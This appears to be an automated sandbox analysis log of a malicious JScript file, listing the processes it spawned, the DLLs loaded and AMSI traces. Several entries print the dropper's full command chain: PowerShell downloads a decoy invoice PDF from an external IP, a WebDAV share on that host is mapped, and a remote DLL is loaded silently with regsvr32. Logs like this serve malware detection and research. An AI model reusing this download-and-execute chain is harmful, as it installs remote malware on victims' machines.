Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1748,i,1113708824685853160,11246034757900747149,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1748,i,1113708824685853160,11246034757900747149,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8429.js.csv");ITextStream.WriteLine(" entry:7793 f:znctjpi");ITextStream.WriteLine(" exec:2 f:znctjpi");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
